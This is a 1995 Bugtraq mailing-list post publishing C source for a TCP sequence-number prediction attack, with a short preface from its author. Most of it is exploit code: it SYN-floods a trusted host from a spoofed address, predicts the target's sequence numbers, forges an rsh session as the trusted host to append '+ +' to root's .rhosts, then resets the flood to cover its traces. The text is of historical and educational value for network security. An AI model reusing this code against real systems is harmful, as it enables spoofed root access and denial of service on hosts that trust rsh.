Bugtraq mailing list archives

TCP Sequence Number Prediction (here it is!!)


From: mcn () EnGarde com (Mike Neuman)
Date: Thu, 30 Mar 1995 18:51:34 -0600


  A lot of you have responded positively to the posting of the TCP Sequence
Number Prediction stuff, and quite a few negatively. Here's the deal. I'm
going to post the code which does the sequence number prediction, BUT...
IT WON'T COMPILE. It's dependant on a library my company wrote a while ago,
which does the low level spoofing and reading of IP packets through a
packet filter. 

  However, the code is clearly commented, and each library call is documented
as to what all the arguments mean and what it does. 

  If you really want a working copy, let me know, and I'll SELL you a copy
of it. (Yes, yes, SELL: this is to help keep it out of the hands of script
wanna-be's who will use it. At least the code in the state I'm posting it
in requires SOME technical expertise to get it to work, and in any case,
demonstrates the bug sufficiently well).

  BTW, For everyone who flamed me about the Watcher stuff:

1) I only posted it once, it was our friends at UCAR who started the loop
2) It's NOT an advertisement. I'm not selling it (yet), and there may well
be a free limited version released soon. In any case, if you can't figure 
out what the bug Watcher demonstrates is (and therefore why the post was
relevant), you need to read the Watcher WWW page until it sinks in.

-Mike
--
Mike Neuman (mcn () EnGarde com) - EN GARDE SYSTEMS - Computer Security Consulting
http://www.c3.lanl.gov/~mcn   - http://www.cec.wustl.edu/~dmm2/egs/egs.html
===============================================================================
"Most of these should be 'void', but the people who defined the STREAMS
 data structures for S[ystem] 5 didn't understand data types." - Solaris source


================CUT HERE FOR SEQUENCE NUMBER PREDICTION SOURCE=================

/* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
 * for any non-commercial purpose, and this message and the contact 
 * information must remain intact. For commercial purposes, you MUST contact
 * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
 * available from: ftp://aeneas.mit.edu/pub/gnu/
 *
 *     This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 * Mike Neuman
 * En Garde Systems 
 * 525 Clara Avenue, Suite 202
 * St. Louis, MO  63112
 * mcn () EnGarde com
 */

#include <stdio.h>
#include <setjmp.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <netdb.h>

#include "ipbpf.h" /* Include ipbpf header */

#define BADHOST "16.17.18.19"   
  /* The host to spoof flooding the trusted
   * host's destination port from. This host shouldn't exist, but should have
   * correct routing entries. The important part is so that returned packets
   * go to nowhere.
   */

#define NUMSEQUENCE 80 
  /* The number of connections to spoof from BADHOST. I made this big. 
  * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
  * mileage may vary
  */

#define NUMTESTS 10
  /* How many samples of the sequence numbers do you want to take?
   * I randomly picked 10 and only take the last result. If I wanted to be
   * elegant, I'd do some sort of statistical average. Sequence numbers
   * are generally updated by a fixed number, this attempts to compute
   * this number taking into account average network lag. Fixed sequence
   * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
   * probably others, although I haven't tested them.
   */

#define ROUTER "router.EnGarde.com"
  /* The name of your router to the outside world. Spoofed packets need to
   * be sent to it's ether/fddi address in order to get to the outside world.
   */

main(argc, argv)
int argc;
char *argv[];

{
struct hostent *he;
u_long trust_addr, targ_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
u_long next_seq, offset;

        if (argc!=3) {
                fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
                exit(1);
        }
        if ((he=gethostbyname(argv[1]))==NULL) {
                trust_addr=inet_addr(argv[1]);
                if (trust_addr==(u_long)-1) {
                        fprintf(stderr, "Unknown host %s\n", argv[1]);
                        exit(1);
                }
        } else
                bcopy(he->h_addr, &trust_addr, 4);

        if ((he=gethostbyname(argv[2]))==NULL) {
                targ_addr=inet_addr(argv[2]);
                if (targ_addr==(u_long)-1) {
                        fprintf(stderr, "Unknown host %s\n", argv[2]);
                        exit(1);
                }
        } else
                bcopy(he->h_addr, &targ_addr, 4);

        printf("Initializing Packet Filter\n");
        use_best(); /* Use the best packet filter available on this system */
        if (init_filter("tcp", NULL)) { 
                /* Initialize the packet filter and read only TCP packets */
                fprintf(stderr, "Can't init Packet Filter\n");
                exit(1);
        }

        /* First, send NUMSEQUENCE connection requests from BADHOST to the 
         * trusted host on a trusted port (currently 513). Trusted host will 
         * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
         * be a response ACK. Consequently, trusted host's connection queue will
         * fill and it will no longer respond to any packets to port 513.
         */

        printf("[Hosing Trusted Host...]\n");
        if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
                fprintf(stderr, "Couldn't hose %s\n", argv[1]);
                exit(1);
        }
        
        /* Next, do a sampling of the difference in sequence numbers. These packets
         * are NOT spoofed as receiving the reply is required. Consequently, this
         * host can appear in any packet traces.
         */
        printf("[Determining sequence numbers...]\n");
        if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
                fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]);
                exit(1);
        }

        printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset);

        /* Next, do the actual spoofed connection, now that we know what the next
         * sequence number will be.
         */
        printf("[Spoofing Connection...]\n");
        if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
                fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
                exit(1);
        }

        /* Finally, reset all of the half started connections on trusted-host.
         * This will put trusted-host back into it's normal state (and hide
         * the traces that it was used for evil.
         */
        printf("[Cleaning Up Trusted Mess...]\n");
        if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
                fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]);
                exit(1);
        }

        /* fin */
        exit(0);
}

hose_trusted(trust_host, trust_addr, seq_num, port_num)
char *trust_host;
u_long trust_addr;
u_long seq_num[NUMSEQUENCE];
u_short port_num[NUMSEQUENCE];
{
        int i;
        u_long start_seq=49358353+getpid(); /* Make this anything you want */
        u_long start_port=600; /* Make this anything you want */
        struct ether_header eh;
        u_long bad_addr;

        /* First attempt to find the hardware address of the trusted host */
        if (ether_hostton(trust_host, &eh.ether_dhost)) {
                /* If that fails, find the hardware address of the router */
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;

        if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
                fprintf(stderr, "Can't convert BADHOST address.\n");
                return(1);
        }

        /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple
         * are:
         * sendtcppacket_simple(
         *     struct ether_addr source_hardware_address,
         *     struct ether_addr destination_hardware_address,
         *     u_long            source_ip_address,
         *     u_long            destination_ip_address,
         *     u_short           source_port,
         *     u_short           destination_port,
         *     u_long            sequence_number,
         *     u_long            acknowldegement_number,
         *     int               TCP flags (SYN, RST, ACK, PUSH, FIN),
         *     char *            data,
         *     int               datalen)
         */
        for (i=0;i<NUMSEQUENCE;i++) {
                port_num[i]=start_port++; /* record the ports and sequence numbers */
                seq_num[i]=start_seq++;   /* for later reseting */

                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        bad_addr, trust_addr,
                        port_num[i], 513, /* 513 is rlogin/rsh port */
                        seq_num, 0,
                        TH_SYN, NULL, 0);
        }
        return(0);
}

jmp_buf env;

void timedout()
{
        longjmp(env, 1);
}

determine_sequence(targ_host, targ_addr, next_seq, offset)
char *targ_host;
u_long targ_addr, *next_seq, *offset;
{
        struct hostent *he;
        struct ether_header eh, eh2;
        struct ip iph;
        struct tcphdr tcph;
        int i;
        u_long start_seq=4138353+getpid(); /* Make this anything you want */
        u_long start_port=600;           /* Make this anything you want */
        u_long my_addr;
        char buf[80];
        u_long prev_seq=0, diff=0;

        *offset=0;
        /* first attempt to get the destination's hardware address */
        if (ether_hostton(targ_host, &eh.ether_dhost)) {
                /* If that fails, get the router's hardware address */
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;

        gethostname(buf, 79);
        if ((he=gethostbyname(buf))==NULL) {
                fprintf(stderr, "Can't get my hostname!?\n");
                return(1);
        }
        bcopy(he->h_addr, &my_addr, 4);
        for (i=0;i<NUMTESTS;i++) {
                /* Do a setjmp here for timeouts */
                if (setjmp(env)) 
                        fprintf(stderr, "Response Timed out... Resending...\n");
                signal(SIGALRM, timedout);
                alarm(0);
                alarm(10); /* Wait 10 seconds for reply */
                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        my_addr, targ_addr,
                        start_port, 514, /* 514 is rsh port */
                        start_seq, 0,
                        TH_SYN, NULL, 0);
                /* Send connection request packet */

                for (;;) {
                        /* Wait until the reply is received. Arguments for readpacket
                         * are:
                         * readpacket(
                         *  struct fddi_header  fddi_header,
                         *  struct ether_header ether_header,
                         *  struct ip           ip_header,
                         *  struct udphdr       udp_header,
                         *  struct tcphdr       tcp_header,
                         *  char *              data,
                         *  int                 datalen)
                         *
                         * return type is the type of packet read
                         */

                        while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!=
                                PTYPE_IP_TCP) ;
                        if (ntohs(tcph.th_dport)==start_port &&
                                ntohs(tcph.th_sport)==514) {
                                /* If the ports match, it's probably a reply--this isn't
                                 * definite, but it's a pretty good guess .
                                 * The following attempts to generate a reliable sequence.
                                 * Actually, it's pretty dumb. It tries 10 times, then takes
                                 * the last result. Generally, I've found this to work well
                                 * enough to warrant not writing anything smarter.
                                 */
                                        if (prev_seq) {
                                                diff=tcph.th_seq-prev_seq;
                                                printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
                                                        tcph.th_seq, diff);
                                        } else
                                                diff=0;
                                        if (*offset==0) 
                                                *offset=diff;
                                        else {
                                                if (*offset!=diff)
                                                        printf("Difference in Offset: old=%u, new=%u\n",
                                                                *offset, diff);
                                                *offset=diff;
                                        }
                                        prev_seq=tcph.th_seq;
                                        sendtcppacket_simple(
                                                        &(eh.ether_shost), &(eh.ether_dhost),
                                                        my_addr, targ_addr,
                                                        start_port++, 514, 
                                                        start_seq++, 0,
                                                        TH_RST, NULL, 0);
                                        /* Send a reset to close the connection. Note, this
                                         * automatically will be sent by localhost unless
                                         * a service is listening on whatever port you've
                                         * chosen to start with at the top of this routine.
                                         * so I reset it anyway
                                         */
                                        break; /* out of infinite for */
                                }
                } /* of infinite for */
                alarm(0);
        } /* for i=0 i<numtests... */
        *next_seq=prev_seq+*offset;
        return(0);
}

spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
u_long trust_addr, targ_addr, next_seq;
{
        struct ether_header eh;
        char buf[80];
        struct hostent *he;
        u_long my_addr;
        u_short port=513;
        char *string="0\0root\0root\0echo + + >>/.rhosts\0"; 
        int stringlen=32; 
        u_long seq=385773357;
        int i;

        /* As before, get the target's hardware address */
        if (ether_hostton(targ_host, &eh.ether_dhost)) {
                /* If that fails, get the router's hardware address */
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine etheraddr of target host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;

        /* Send a syn with our own sequence number */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq++, 0,
                TH_SYN, NULL, 0);
        usleep(5000); /* wait for the other side to SYN,ACK */

        /* Send the ACK for the sequence number we guessed. I've found we guess
         * right about 90% of the time
         */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq, ++next_seq,
                TH_ACK, NULL, 0);

        /* Now, send our rsh request with the proper sequence and ACK nubmers */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq, next_seq,
                TH_ACK, string, stringlen);
        seq+=stringlen;

        sleep(1); /* Wait for it to be received, ACKd, and processed */
        /* Send a fin with the our new sequence number and their sequence number */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq, next_seq,
                TH_FIN, NULL, 0);

        for (i=1;i<4;i++) { /* Send a bunch of ACKs */
                /* If we screwed up the guessing the correct sequence number the remote
                 * host is using, guess a whole bunch more just to be sure. We could
                 * probably reset the connection, but it's better to have the
                 * net software hang waiting for a proper FIN/ACK than have the
                 * application that we've spoofed into running exit because we
                 * reset the connection.
                 */
                sleep(2);
                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        trust_addr, targ_addr,
                        port, 514,
                        seq+1, next_seq+i,
                        TH_ACK, NULL, 0);
        }
        usleep(50000); /* Finally, send a RST */
        /* Now, if we're really screwed, and ~8 seconds later  we haven't guessed
         * the right sequence number, just reset the connection. Hopefully by now
         * the application has done it's job, so resetting shouldn't cause any
         * problems.
         */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq+1, next_seq+4,
                TH_RST, NULL, 0);

        return(0);
}

reset_trusted(trust_host, trust_addr, seq_num, port_num)
u_long trust_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
{
        struct ether_header eh;
        u_long bad_addr;
        int i;

        if (ether_hostton(trust_host, &eh.ether_dhost)) {
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;

        if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
                fprintf(stderr, "Can't convert BADHOST address.\n");
                return(1);
        }

        /* Reset all of the connections we started before */
        for (i=0;i<NUMSEQUENCE;i++) {
                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        bad_addr, trust_addr,
                        port_num[i], 513,
                        seq_num[i], 0,
                        TH_RST, NULL, 0);
        }
        return(0);
}



Current thread: